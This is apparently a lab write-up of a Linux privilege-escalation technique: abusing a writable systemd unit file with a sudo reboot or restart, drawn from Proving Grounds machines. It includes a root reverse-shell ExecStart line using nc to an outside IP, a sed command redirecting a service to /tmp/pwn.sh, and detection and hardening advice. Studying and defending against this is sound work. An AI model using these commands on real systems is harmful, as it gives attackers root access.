Writable systemd service + reboot
systemd is the service manager on most modern Linux distributions. Each service is described in a .service file (usually under /etc/systemd/system/) with directives like ExecStart (the command it launches) and User (the identity it runs as). If an unprivileged user can write to that file and also has a way to make the service start again, they control a command that will run with whatever identity they choose, root included.
The two pieces you need. Write access alone isn't enough: you must trigger the reload. The typical combos:
- Write access to the
.service(a loose ACL, a bad group, user ownership). Found with:
`bash find / -type f -writable 2>/dev/null | grep -vE 'proc|sys|/dev' `
- A trigger. Ideally
sudo systemctl restart <service>, butsudo reboot/halt/poweroffworks too (on the next boot, systemd reads the already-modified file and runs whatever you put there). In Hetemit,sudo -lshowed exactlyNOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff.
The abuse, step by step. We edit the .service so it starts our payload as root:
[Service]
Type=simple
ExecStart=nc 192.168.45.227 21 -e /bin/bash
User=rootAnd force the reboot so the change takes effect:
sudo rebootOn the way back up, systemd runs the modified ExecStart as root and the reverse shell lands with superuser privileges. The callback points at an egress-allowed port (port 21 on Hetemit).
Caveat. Rebooting the box is noisy and intrusive: it drops existing sessions and, in a real environment, is a very visible action. In a lab it's acceptable; on a real engagement, prefer a less disruptive trigger (systemctl restart of the service itself, or waiting for a scheduled reboot) when available. It's a relative of writable cron script abuse: in both cases the flaw is a resource executed by root that an unprivileged user can modify.
Quieter variant (no reboot). If sudo -l allows systemctl daemon-reload and systemctl restart <service>, no reboot is needed: just rewrite ExecStart and reload the service live.
sed -i 's|ExecStart=/usr/local/bin/backup.sh|ExecStart=/tmp/pwn.sh|' \
/etc/systemd/system/backup.service
sudo systemctl daemon-reload
sudo systemctl restart backup.service # /tmp/pwn.sh runs as rootIt's also exploitable without touching the unit file when ExecStart points to a script the user can already modify (for example /usr/local/bin/backup.sh with 775 root:mygroup). Note: !/bin/bash items in sudoers are cosmetic, they don't affect what systemd executes.
How to detect it. The signature is the modification of a .service file (or the script its ExecStart launches) by an unprivileged account: FIM/auditd -w /etc/systemd/system -p wa alerts on the change. It's followed by a systemctl daemon-reload/restart or a reboot/halt via sudo in /var/log/auth.log, and the definitive signature: a service whose ExecStart spawns nc/sh/bash as root right after the reload (auditd/Sysmon for Linux over execve with ppid=systemd, PID 1), which a legitimate service never does. A .service with User=root and an ExecStart pointing at /tmp is unmistakable.
Defence. .service files should be owned root:root with 644 permissions (no group/other write) and their directories protected. Don't grant via sudo any command that reboots the host or reloads services to accounts that don't need it, and periodically audit writable files outside home directories.
Machines where it's used
- HetemitProving Grounds Practice
- SpiderSocietyProving Grounds Practice